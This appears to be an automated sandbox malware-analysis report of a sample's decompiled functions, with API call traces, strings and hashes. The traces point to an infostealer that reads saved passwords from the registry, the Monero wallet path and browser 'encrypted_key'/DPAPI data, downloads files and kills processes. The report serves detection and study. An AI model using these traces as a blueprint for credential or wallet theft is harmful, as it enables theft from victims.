Instruction ID: c160d660074b984db143632def871df2094942e7f73276489babfe2a73fc0b24
Opcode Fuzzy Hash: def94b3c952a4947898e53cc7fbc5be90b5b1b505fa2c5f0b44865b9c5c25156
Instruction Fuzzy Hash: D4511BB5A10209AFDB10EFA4DC85AEEB7BDFF48310F104619F905A7250DB74AD01CBA0

Function 00686AD0 Relevance: 16.6, APIs: 11, Instructions: 127networkfilestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00686AFF
InternetOpenA.WININET(006ACFF4,00000001,00000000,00000000,00000000), ref: 00686B2C
StrCmpCA.SHLWAPI(?,0125D878), ref: 00686B4A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,-00800100,00000000), ref: 00686B6A
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00686B88
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00686BA1
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00686BC6
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00686BF0
CloseHandle.KERNEL32(00000000), ref: 00686C10
InternetCloseHandle.WININET(00000000), ref: 00686C17
InternetCloseHandle.WININET(?), ref: 00686C21

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritelstrcpy
String ID:
API String ID: 2500263513-0
Opcode ID: 7b7bcfd576cbd3334d991aaadfae1425651daa8ecbc0322576c0648f9a6b5f20
Instruction ID: 7871de273630c2df0f70637ea72eb5c84fee7a99c7a467a33a8774893353816f
Opcode Fuzzy Hash: 7b7bcfd576cbd3334d991aaadfae1425651daa8ecbc0322576c0648f9a6b5f20
Instruction Fuzzy Hash: AF415EB1A00215ABDB24EB64DC85FAE77B9FF44705F004654FA05E7280EF70AD45CBA4

Function 00687A60 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 109stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006877D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00687805
Part of subcall function 006877D0: RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0068784A
Part of subcall function 006877D0: strlen.MSVCRT ref: 0068787E
Part of subcall function 006877D0: StrStrA.SHLWAPI(?,Password), ref: 006878B8
Part of subcall function 006877D0: strcpy_s.MSVCRT ref: 006878E1
Part of subcall function 006877D0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 006878EC
Part of subcall function 006877D0: HeapFree.KERNEL32(00000000), ref: 006878F3
Part of subcall function 006877D0: strlen.MSVCRT ref: 00687900

lstrcatA.KERNEL32(27BBB020,006B4AE4), ref: 00687A90
lstrcatA.KERNEL32(27BBB020,?), ref: 00687ABD
lstrcatA.KERNEL32(27BBB020, : ), ref: 00687ACF
lstrcatA.KERNEL32(27BBB020,?), ref: 00687AF0
wsprintfA.USER32 ref: 00687B10
lstrcpy.KERNEL32(00000000,?), ref: 00687B39
lstrcatA.KERNEL32(27BBB020,00000000), ref: 00687B47
lstrcatA.KERNEL32(27BBB020,006B4AE4), ref: 00687B60

Strings

: , xrefs: 00687AC9

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcat$Heapstrlen$EnumFreeOpenProcessValuelstrcpystrcpy_swsprintf
String ID: :
API String ID: 2460923012-3653984579
Opcode ID: 11209489f31725863995cb45dc616bc5fc62a3027341cb101bf1d066aa306d9f
Instruction ID: 458c4646e69a9f52d56a18260886849d970aaa6d7e7d2e309bf2aa899b8dc6aa
Opcode Fuzzy Hash: 11209489f31725863995cb45dc616bc5fc62a3027341cb101bf1d066aa306d9f
Instruction Fuzzy Hash: 29315376A14614EFCB14EFA8DC849ABB7BFFB88710B244759E64693310DB70E941CB60

Function 0069AEC8 Relevance: 15.2, APIs: 10, Instructions: 150stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0069AEE1
lstrlenA.KERNEL32(0125FDA0), ref: 0069AEF7
lstrcpy.KERNEL32(00000000,00000000), ref: 0069AF1F
lstrcatA.KERNEL32(00000000,00000000), ref: 0069AF2A
lstrcpy.KERNEL32(00000000,00000000), ref: 0069AF53
lstrcpy.KERNEL32(00000000,?), ref: 0069AF8F
lstrcatA.KERNEL32(00000000,00000000), ref: 0069AF99
lstrcpy.KERNEL32(00000000,00000000), ref: 0069AFBF
lstrlenA.KERNEL32(00000000), ref: 0069AFD5
lstrcpy.KERNEL32(00000000,01260010), ref: 0069B008

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen
String ID:
API String ID: 1049500425-0
Opcode ID: 5e6fc827c8f52cb3345120554c688c93af74f978db32cb57b28b25efdcca1fe6
Instruction ID: e66eedbc048f8498a5e2b7a9ad6e9ec7f12dd1ac5b841a9064fee13efe1e6c30
Opcode Fuzzy Hash: 5e6fc827c8f52cb3345120554c688c93af74f978db32cb57b28b25efdcca1fe6
Instruction Fuzzy Hash: 255159B1A111169BCF61FBA9D899AAEB7FAFF04300F040628F84997651DB34DD01CBD5

Function 006A2910 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,01253D08,00000000), ref: 006A294B
GetVolumeInformationA.KERNEL32(006AA650,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 006A297C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A29DF
HeapAlloc.KERNEL32(00000000), ref: 006A29E6
wsprintfA.USER32 ref: 006A2A0B

Strings

C, xrefs: 006A2955
-j, xrefs: 006A2A32
:\, xrefs: 006A2965

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowswsprintf
String ID: -j$:\$C
API String ID: 1325379522-3958011480
Opcode ID: 79510e35288a1eb617005406b17901061150d7e3e645074a4e32e355228bd857
Instruction ID: 3e982dcbb81c27676af7d63dcb66bc674496a53d2da664ebd629853f11eb97ec
Opcode Fuzzy Hash: 79510e35288a1eb617005406b17901061150d7e3e645074a4e32e355228bd857
Instruction Fuzzy Hash: A23181B1D4820A9FCB10DFBD8985AEFBFBDFF59700F00416AE505E6250E6308E408BA1

Function 00681120 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00681135
HeapAlloc.KERNEL32(00000000), ref: 0068113C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00681159
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00681173
RegCloseKey.ADVAPI32(?), ref: 0068117D

Strings

SOFTWARE\monero-project\monero-core, xrefs: 0068114F
wallet_path, xrefs: 0068116D

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: a299454526da46294da110934c48172349277014c35da0d8c086bae4e328b654
Instruction ID: 21c00f69b4a5d588ff65105fda75ad3b9f6140d93a99d5aa12c416a8b28caab9
Opcode Fuzzy Hash: a299454526da46294da110934c48172349277014c35da0d8c086bae4e328b654
Instruction Fuzzy Hash: C7F030B5640308FBD710ABA09C8DFEB7B7CEB04755F100255FF05E6281DAB05A458BA0

Function 0069177A Relevance: 12.1, APIs: 8, Instructions: 144stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00691783
lstrcpy.KERNEL32(00000000,?), ref: 006917AC
lstrcpy.KERNEL32(00000000,?), ref: 006917D5
lstrcpy.KERNEL32(00000000,?), ref: 006918E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0069190E
lstrcpy.KERNEL32(00000000,?), ref: 00691945

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ed85cffd4afd943dcdadf741e17908b1c444eba9386e129e2ae14fe6d355b2b2
Instruction ID: 221e3b924ff21ff7da159acb9ce7b6433f76cb419ea53bcbdb4a29f41a07f165
Opcode Fuzzy Hash: ed85cffd4afd943dcdadf741e17908b1c444eba9386e129e2ae14fe6d355b2b2
Instruction Fuzzy Hash: E9515E70A102078BDF64FF79D89AAAE37F9AF05300F10462CF88A9B651DB34DC458B85

Function 006916DA Relevance: 12.1, APIs: 8, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 006916E3
lstrcpy.KERNEL32(00000000,?), ref: 0069170C
lstrcpy.KERNEL32(00000000,?), ref: 00691734
lstrcpy.KERNEL32(00000000,?), ref: 006918E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0069190E
lstrcpy.KERNEL32(00000000,?), ref: 00691945
FindNextFileA.KERNELBASE(00000000,?), ref: 0069196C

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindNext
String ID:
API String ID: 2017289724-0
Opcode ID: cc565aac8e6acf9627a6f7b279825c12d0d65e6d448e2e3961d3857f171ad934
Instruction ID: 1d2ba195dc988d1c5e825a6b68d0eda99519cb78ae4cd88f3b4b31682b23771f
Opcode Fuzzy Hash: cc565aac8e6acf9627a6f7b279825c12d0d65e6d448e2e3961d3857f171ad934
Instruction Fuzzy Hash: F3514C70A102079BDF65FF79D89AAAE77F9AF05300F10062CF88A9B651DB34DC418B94

Function 00689C70 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00689CA8
LocalAlloc.KERNEL32(00000040,?), ref: 00689CDA
StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00689D03
memcmp.MSVCRT(?,DPAPI,00000005), ref: 00689D3C

Strings

DPAPI, xrefs: 00689D36
DLk, xrefs: 00689D10
"encrypted_key":", xrefs: 00689CFD
, xrefs: 00689D65

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpymemcmp
String ID: $"encrypted_key":"$DLk$DPAPI
API String ID: 4154055062-1573238307
Opcode ID: 879dc735993ddaef08761b551e9313862ea9c633354d6cad8a4ec067e3a976c5
Instruction ID: 782e19013740bd31ace9c882144adc290313ef6c00ff1d4ce482f4c7b296e1ed
Opcode Fuzzy Hash: 879dc735993ddaef08761b551e9313862ea9c633354d6cad8a4ec067e3a976c5
Instruction Fuzzy Hash: FA41AD71A0060A9BCB25FF65DC816FE77B6EF44304F085668E915A7353DB30AD04CBA4

Function 00685640 Relevance: 12.1, APIs: 8, Instructions: 112networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0068565A
RtlAllocateHeap.NTDLL(00000000), ref: 00685661
InternetOpenA.WININET(006ACFF4,00000000,00000000,00000000,00000000), ref: 00685677
InternetOpenUrlA.WININET(00000000,00000001,00000000,00000000,04000100,00000000), ref: 00685692
InternetReadFile.WININET(?,?,00000400,00000001), ref: 006856BC
memcpy.MSVCRT(00000000,?,00000001), ref: 006856E1
InternetCloseHandle.WININET(?), ref: 006856FA
InternetCloseHandle.WININET(00000000), ref: 00685701

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: a28a7205519d9576852982d40b4b63cfff56b10bc32fd11b79e6ee918493657b
Instruction ID: b730db6aa85bf15192bebf223f70bbca6948bb7d62832e5833380e7357d8208a
Opcode Fuzzy Hash: a28a7205519d9576852982d40b4b63cfff56b10bc32fd11b79e6ee918493657b
Instruction Fuzzy Hash: 16419170A00605EFDB24DF54DC88BAAB7B5FF48300F54C2A9EA099B3A1E7719941CF94

Function 006A4950 Relevance: 12.1, APIs: 8, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 006A4969
Process32First.KERNEL32(00000000,00000128), ref: 006A4979
Process32Next.KERNEL32(00000000,00000128), ref: 006A498B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 006A49AC
TerminateProcess.KERNEL32(00000000,00000000), ref: 006A49BB
CloseHandle.KERNEL32(00000000), ref: 006A49C2
Process32Next.KERNEL32(00000000,00000128), ref: 006A49D0
CloseHandle.KERNEL32(00000000), ref: 006A49DB

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: f85f75bd9d549f6e00c9eaed1ceb8a5392e56dfd63e29791f9a2ce9a5e265379
Instruction ID: b13218efad21fd2d7aa718f17d632c43b58f87cfce7ffc32887c747eec0ebc4e
Opcode Fuzzy Hash: f85f75bd9d549f6e00c9eaed1ceb8a5392e56dfd63e29791f9a2ce9a5e265379
Instruction Fuzzy Hash: DF019E71641618ABE7216B209C89FEB777DFF49751F040291FA49E1281EFB09DA0CEA0

Function 0068E2FD Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0068E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0068E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0068E727
lstrcpy.KERNEL32(00000000,?), ref: 0068E74D
lstrcpy.KERNEL32(00000000,?), ref: 0068E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0068E7BA
FindClose.KERNEL32(00000000), ref: 0068E7C9

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction ID: 3668f2a3398ab84bcfb8651d90210a3b62893ac0085e659e7b9c72f4dca39eac
Opcode Fuzzy Hash: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction Fuzzy Hash: E3020B70A012118FDB68EF19C584BA9B7F6BF44714B1DC2ADD8499B3A2D776EC42CB40

Function 0068E363 Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0068E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0068E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0068E727
lstrcpy.KERNEL32(00000000,?), ref: 0068E74D
lstrcpy.KERNEL32(00000000,?), ref: 0068E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0068E7BA
FindClose.KERNEL32(00000000), ref: 0068E7C9

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction ID: 3668f2a3398ab84bcfb8651d90210a3b62893ac0085e659e7b9c72f4dca39eac
Opcode Fuzzy Hash: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction Fuzzy Hash: E3020B70A012118FDB68EF19C584BA9B7F6BF44714B1DC2ADD8499B3A2D776EC42CB40

Function 0068E3AA Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0068E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0068E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0068E727
lstrcpy.KERNEL32(00000000,?), ref: 0068E74D
lstrcpy.KERNEL32(00000000,?), ref: 0068E784
